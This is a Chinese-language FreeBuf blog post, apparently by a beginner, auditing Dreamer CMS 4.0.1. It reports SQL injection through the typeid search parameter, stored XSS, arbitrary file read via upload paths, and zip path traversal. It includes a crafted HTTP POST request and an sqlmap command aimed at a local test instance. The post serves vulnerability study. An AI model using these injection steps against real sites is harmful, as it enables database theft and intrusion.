freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Dreamer CMS 4.0.1 代码审计
2024-09-17 18:31:32

刚开始入门代码审计,在网上看到了一些关于这个cms的漏洞,自己手动分析一下,项目地址

下载仓库 · www.iteachyou.cc/Dreamer CMS(梦想家CMS内容管理系统) - Gitee.com

一 SQL注入

1 admin搜索

全局搜索${

1726560336_66e9385016ff77362f1dd.png!small?1726560337981

定位到ArchivesMapper.xml下的queryByKeywords语句,可以看出typeid这里存在sql的注入点

1726560480_66e938e06cb8385046d19.png!small?1726560481062

寻找函数调用点

1726560605_66e9395d96432dd0c1464.png!small?1726560606417

1726560633_66e93979201211aa3bf6b.png!small?1726560634133

可以看出调用为admin/search/dosearch 这个其实就是admin下的全局搜索功能

1726560710_66e939c64d8b7fd584e91.png!small?1726560710958

默认搜索entity中参数为keyword,我们手动替换为typeid

1726560778_66e93a0ae8c4f0c1d296f.png!small?1726560779444

sqlmap

1726560813_66e93a2d1702d07a54e76.png!small?1726560813547

2 前台搜索

这个方法在另一处也有调用,跟踪一下可以发现是前端的相同位置search功能处

1726563730_66e94592085fd66112e75.png!small?1726563730728

当然,手动添加typeid字段

POST /search HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 34
Cache-Control: max-age=0
sec-ch-ua: "Not=A?Brand";v="99", "Chromium";v="118"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: BRPcM_admin_username=6876tBBUp5geSxCQN5sA1iKcxHKWIYz21qWkazG8S7yeLg; BRPcM_siteid=d932okj60sk0B9TkqM1wpAl87Z7cVJGoQaDRLspG; BRPcM_userid=f73dmCvThxA-y9q6p7E4mTCO1Yu7GN2Md5i5VRay; BRPcM_admin_email=d4adXnvKveOWi9fo2VEdwAuaB8F34r9gqTCJ-An7Vr_H5Pge; BRPcM_sys_lang=95b7Z8OobH3UEBHG6reEsIAHxg3si_OotB0pwqWUH0FmZg; dreamer-cms-s=bb802263-e771-4323-9f5e-9538a81148f9
Connection: close

entity%5B%27keywords%27%5D=qwert&entity%5B%27typeid%27%5D=1

sqlmap

python sqlmap.py -r D:\TestData\sql.txt --dbms mysql --level=5 -p entity%5B%27typeid%27%5D

1726563937_66e94661dd33868dbb7c8.png!small?1726563938412

二 XSS

1 编辑栏目

1726564353_66e94801e0f852c64b90e.png!small?1726564354445

1726564409_66e948390ca994c037b78.png!small?1726564409624

未做过滤直接执行update操作

1726565158_66e94b26bf5fcca6c62ea.png!small?1726565159410

2 前台评论

原理相同,不分析啦

1726565374_66e94bfeb8fc17e72ce0f.png!small


三 任意文件读取

1 上传附件

漏洞存在于上传附件时filepath可控

1726568927_66e959df036df257933e5.png!small?1726568927488

1726567604_66e954b4761945eed3f84.png!small?1726567604957

没有任何过滤将其保存,导致当访问原本文件时可以访问我们构造的文件路径,造成任意文件读取

1726568945_66e959f1564358c0da1d8.png!small?1726568945799

2 Zip处导致任意文件读取

上传主题zip包处未对zip内容进行校验(主要未校验解压后的“../../../../”字段)

修改默认的theme.json

1726572811_66e9690bd4ac1b0bfcb9d.png!small?1726572812259

打包上传后模板管理处查阅任意文件

1726572715_66e968abccb38c79f4a37.png!small?1726572716395


还有一个计划任务执行jar导致的RCE漏洞,在此先不分析


# web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录